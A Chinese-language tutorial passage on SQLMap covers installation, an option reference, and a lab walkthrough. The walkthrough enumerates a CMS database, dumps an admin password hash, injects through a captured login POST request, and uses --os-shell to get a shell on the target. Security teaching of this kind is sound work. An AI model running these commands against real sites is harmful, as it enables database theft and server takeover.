4.SQL注入工具
其余web文章参考:web学习目录
SQLMap 是一款专注于SQLi 的工具,堪称神器。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中
SQLMap 的安装与更新
自带SQLMap 更新
sudo apt-get update
sudo apt-get install sqlmap
或者使用源码包安装
git clone https://github.com/sqlmapproject/sqlmap.git
git fetch
git pull
参数速查:
参数 | 含义 |
---|---|
-u | 检测注入点 |
--dbs | 列出所有的库名 |
--current-user | 当前连接数据库用户的名字 |
--current-db | 当前数据库的名字 |
-D "cms" | 指定目标数据库为cms |
--tables | 列出数据库中所有的表名 |
-T "cms_users" | 指定目标表名为'cms_users' |
--columns | 列出所有的字段名 |
-C 'username,password' | 指定目标字段 |
--dump | 列出字段内容 |
-r | 从文件中读取HTTP 请求 |
--os-shell | 在特定情况下,可以直接获得目标系统Shell |
--level 3 | 设置sqlmap 检测等级 3 |
--cookie="username=admin" | 携带Cookie 信息进行注入 |
-g | 利用google 搜索引擎自动搜索注入点 |
--batch | 使用默认选项 |
SQLmap实战:
利用sql注入得到cms网站的数据库密码,库-表-列
注入点:http://192.168.2.133/cms/show.php?id=32
sqlmap -u "http://10.10.10.1/show.php?id=33"
//注入点检测,检测可以用哪些注入
sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs
//获取数据库名字
sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db
//查看当前连接的数据库
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables
//查看cms这个数据库里面的表
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns
//列举cms_users这张表里有哪些列,即字段名
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
//最终结果如下
Database: cms
Table: cms_users
[2 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| 1 | 2 |
| admin | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+
post注入:
先找到登录界面,用bp截取登录的报文,send to repeater模块之后,保存到/tmp下为login.post文件
sqlmap -r /tmp/login.post --batch
//batch就是全部yes
结果为:
没有联合查询是因为数据库中的内容没有在页面中显示,只显示了账号错误
直接getshell
受到secure_file_priv 选项的限制;
目标系统Web 根目录的绝对路径。
sqlmap -u "http://192.168.2.133/cms/show.php?id=33" --os-shell
利用sql注入漏洞在网站根目录创建了两个随机文件